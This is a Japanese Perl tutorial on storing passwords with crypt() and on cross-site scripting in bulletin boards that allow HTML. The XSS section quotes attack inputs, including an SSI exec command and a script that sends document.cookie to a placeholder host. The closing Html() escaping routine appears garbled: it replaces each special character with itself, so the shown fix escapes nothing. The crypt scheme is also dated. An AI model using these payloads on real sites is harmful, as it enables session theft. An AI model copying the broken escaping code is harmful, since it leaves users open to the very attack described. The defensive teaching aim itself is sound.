ユーザーの認証を行う場合のパスワードをそのまま保存してしまうと危険です。ctypt() を用いることで、この危険性を減少することができます。
# ログイン名とパスワードを保存する sub SetPassword { local($file, $login, $passwd) = @_; local(@abc) = ( "0".."9", "a".."z", "A".."Z", ".", "/" ); local(*IN, $line, $login2, $passwd2, %PASSWD, $salt); # パスワードファイルを読み込む open(IN, $file); while ($line = <IN>) { $line =~ s/[\r\n]*$//; ($login2, $passwd2) = split(/:/, $line); $PASSWD{$login2} = $passwd2; } close(IN); # 新しいパスワードを追加(置換)する $salt = $abc[rand(64)] . $abc[rand(64)]; # ランダムな2文字 $PASSWD{$login} = crypt($passwd, $salt); # パスワードファイルに書き込む open(OUT, "> $file"); while (($login2, $passwd2) = each(%PASSWD)) { print OUT "$login2:$passwd2\n"; } close(OUT); }
これを例えば次のように呼び出します。passwd.txt はパスワードファイル名、tanaka や suzuki がログイン名で、hi.mi.tu や se.c.ret がパスワードです。
SetPassword("passwd.txt", "tanaka", "hi.mi.tu"); SetPassword("passwd.txt", "suzuki", "se.c.ret");
パスワードファイル(passwd.txt)には例えば次のように記録されます。
tanaka:iFB7Zqcx79W6Y suzuki:.gqfuwqIDeqFM
パスワードファイルから該当エントリを削除するルーチンを紹介します。
sub DeletePassword { local($file, $login) = @_; local(*IN, $line, $login2, $passwd2, %PASSWD); # パスワードファイルを読み込む open(IN, $file); while ($line = <IN>) { $line =~ s/[\r\n]*$//; ($login2, $passwd2) = split(/:/, $line); $PASSWD{$login2} = $passwd2; } close(IN); # パスワードエントリを削除する delete $PASSWD{$login}; # パスワードファイルに書き込む open(OUT, "> $file"); while (($login2, $passwd2) = each(%PASSWD)) { print OUT "$login2:$passwd2\n"; } close(OUT); }
iFB7Zqcx79W6Y から hi.mi.tu を求めることはできませんが、ユーザが入力したパスワード hi.mi.tu と、iFB7Zqcx79W6Y の最初の 2文字(iF)から再度暗号化パスワードを求め、これが、記録していた暗号化パスワード(iFB7Zqcx79W6Y)と一致するかどうかで、パスワードが正しいかどうかをチェックすることができます。
# ログイン名とパスワードをチェックする sub CheckPassword { local($file, $login, $passwd) = @_; local(*IN, $line, $login2, $passwd2, %PASSWD); # パスワードファイルを読み込む open(IN, $file); while ($line = <IN>) { $line =~ s/[\r\n]*$//; ($login2, $passwd2) = split(/:/, $line); $PASSWD{$login2} = $passwd2; } close(IN); # パスワードが正しいか確認(0:不正、1:正しい) if (defined($PASSWD{$login}) && (crypt($passwd, $PASSWD{$login}) eq $PASSWD{$login})) { return 1; } else { return 0; } }
呼び出し方法は下記の通りです。ログイン名とパスワードが正しいものであれば 1 を、さもなくば 0 を返します。
if (CheckPassword("passwd.txt", "tanaka", "ta.na.ka")) { print "正しいです。\n"; } else { print "不正です。\n"; }
HTMLタグを許す掲示板などでは、誰かが悪意のあるタグ書き込みを行うことによってセキュリティ的な問題が発生することがあります。これらをクロスサイトスクリプティング脆弱性と呼びます。
HTMLタグを使用可能な掲示板に下記のような文章を入力すると、次にその掲示板を開いたひとの画面に、変なダイアログが表示されてしまいます。
<script>alert("悪者参上")</script>
不適切な画像や、音楽を貼り付けられることもあります。
<img src="http://~/~/~.jpg">
サーバー側で危険な SSI/ASP/PHP コマンドを実行されてしまうこともあります。
<!--#exec cmd="/bin/ls"-->
ログイン名やパスワードを含む Cookie 情報が盗み出されることもあります。
<script>location.href = "http://~/~.cgi?" + document.cookie;</script>
ユーザが入力した文字列はそのまま表示せず、< や > をエスケープしてから表示するようにしましょう。value="..." の間ではダブルクォーテーション(")もエスケープする必要があるので注意してください。
print "<b>" . Html($FORM{WORD}) . "</b>\n"; print "<input type=\"text\" value=\"" . Html($FORM{WORD}) . ">\n"; sub Html { local($str) = @_; $str =~ s/&/&/g; $str =~ s/</</g; $str =~ s/>/>/g; $str =~ s/"/"/g; return $str; }